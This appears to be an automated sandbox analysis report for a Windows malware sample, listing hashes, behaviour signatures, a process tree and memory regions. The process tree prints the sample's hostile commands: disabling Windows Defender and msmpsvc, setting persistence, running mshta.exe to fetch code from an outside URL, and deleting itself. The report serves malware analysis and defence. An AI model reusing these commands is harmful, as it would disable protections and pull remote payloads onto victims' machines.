Analysis

  • max time kernel
    150s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 09:23

General

  • Target

    f5b25ec260db4901e88d2793b5e34998_JaffaCakes118.exe

  • Size

    2.5MB

  • MD5

    f5b25ec260db4901e88d2793b5e34998

  • SHA1

    05e5794bffc36694bb39750652fd84dc7e3146e6

  • SHA256

    6edffe88fcc7936cd27cb9016ca25739aabd148e40cb44eeff8c53975f3144af

  • SHA512

    5b6331493a142bbeb2c477a007c7275be20fbdc9af3413a508e84ceb8c2c4a6e34be30ce6dfddf2dbfd6cfd187e4a67823c687923f7d36a500c5f56baba04bec

  • SSDEEP

    49152:8nEdi2AHYTFxTal3sQ7VoqvZgpIgpilI3gXWs0SoyN+Y+RC5Hwen/aGLYAzpkbyh:z44pxTal3sQ5raXS1c2Fv/ZLYAzpXh

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=KHBTHJFA&2=i-s&3=176&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f5b25ec260db4901e88d2793b5e34998_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f5b25ec260db4901e88d2793b5e34998_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2936
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2928
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2800
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2900
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2340
    • C:\Users\Admin\AppData\Roaming\Microsoft\cxsgrd.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\cxsgrd.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2952
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2616
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2624
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1240
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3024
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=KHBTHJFA&2=i-s&3=176&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:1716
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\F5B25E~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2940

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\cxsgrd.exe

    Filesize

    2.5MB

    MD5

    f5b25ec260db4901e88d2793b5e34998

    SHA1

    05e5794bffc36694bb39750652fd84dc7e3146e6

    SHA256

    6edffe88fcc7936cd27cb9016ca25739aabd148e40cb44eeff8c53975f3144af

    SHA512

    5b6331493a142bbeb2c477a007c7275be20fbdc9af3413a508e84ceb8c2c4a6e34be30ce6dfddf2dbfd6cfd187e4a67823c687923f7d36a500c5f56baba04bec

  • memory/2936-18-0x00000000023E0000-0x00000000023E1000-memory.dmp

    Filesize

    4KB

  • memory/2936-42-0x0000000000300000-0x000000000035A000-memory.dmp

    Filesize

    360KB

  • memory/2936-3-0x00000000002C0000-0x00000000002C1000-memory.dmp

    Filesize

    4KB

  • memory/2936-19-0x0000000002420000-0x0000000002421000-memory.dmp

    Filesize

    4KB

  • memory/2936-5-0x00000000003F0000-0x00000000003F1000-memory.dmp

    Filesize

    4KB

  • memory/2936-6-0x00000000003E0000-0x00000000003E1000-memory.dmp

    Filesize

    4KB

  • memory/2936-7-0x00000000008E0000-0x00000000008E1000-memory.dmp

    Filesize

    4KB

  • memory/2936-8-0x0000000003500000-0x0000000003501000-memory.dmp

    Filesize

    4KB

  • memory/2936-9-0x0000000000300000-0x000000000035A000-memory.dmp

    Filesize

    360KB

  • memory/2936-10-0x00000000003C0000-0x00000000003C1000-memory.dmp

    Filesize

    4KB

  • memory/2936-11-0x0000000003500000-0x0000000003501000-memory.dmp

    Filesize

    4KB

  • memory/2936-12-0x0000000003500000-0x0000000003501000-memory.dmp

    Filesize

    4KB

  • memory/2936-13-0x0000000003500000-0x0000000003501000-memory.dmp

    Filesize

    4KB

  • memory/2936-14-0x0000000000910000-0x0000000000911000-memory.dmp

    Filesize

    4KB

  • memory/2936-15-0x0000000000900000-0x0000000000901000-memory.dmp

    Filesize

    4KB

  • memory/2936-16-0x0000000000B80000-0x0000000000B81000-memory.dmp

    Filesize

    4KB

  • memory/2936-17-0x0000000000940000-0x0000000000941000-memory.dmp

    Filesize

    4KB

  • memory/2936-0-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/2936-4-0x00000000003A0000-0x00000000003A1000-memory.dmp

    Filesize

    4KB

  • memory/2936-2-0x00000000002D0000-0x00000000002D1000-memory.dmp

    Filesize

    4KB

  • memory/2936-22-0x0000000002450000-0x0000000002451000-memory.dmp

    Filesize

    4KB

  • memory/2936-21-0x0000000002400000-0x0000000002401000-memory.dmp

    Filesize

    4KB

  • memory/2936-23-0x0000000002480000-0x0000000002481000-memory.dmp

    Filesize

    4KB

  • memory/2936-24-0x0000000002460000-0x0000000002461000-memory.dmp

    Filesize

    4KB

  • memory/2936-25-0x0000000000B60000-0x0000000000B61000-memory.dmp

    Filesize

    4KB

  • memory/2936-26-0x0000000000920000-0x0000000000921000-memory.dmp

    Filesize

    4KB

  • memory/2936-30-0x00000000002B0000-0x00000000002B1000-memory.dmp

    Filesize

    4KB

  • memory/2936-29-0x00000000002A0000-0x00000000002A1000-memory.dmp

    Filesize

    4KB

  • memory/2936-28-0x00000000034E0000-0x00000000034E2000-memory.dmp

    Filesize

    8KB

  • memory/2936-27-0x00000000034F0000-0x00000000034F2000-memory.dmp

    Filesize

    8KB

  • memory/2936-40-0x00000000048C0000-0x0000000004D93000-memory.dmp

    Filesize

    4.8MB

  • memory/2936-1-0x00000000002E0000-0x00000000002E1000-memory.dmp

    Filesize

    4KB

  • memory/2936-39-0x00000000048C0000-0x0000000004D93000-memory.dmp

    Filesize

    4.8MB

  • memory/2936-20-0x0000000002410000-0x0000000002411000-memory.dmp

    Filesize

    4KB

  • memory/2936-43-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/2952-44-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/2952-46-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB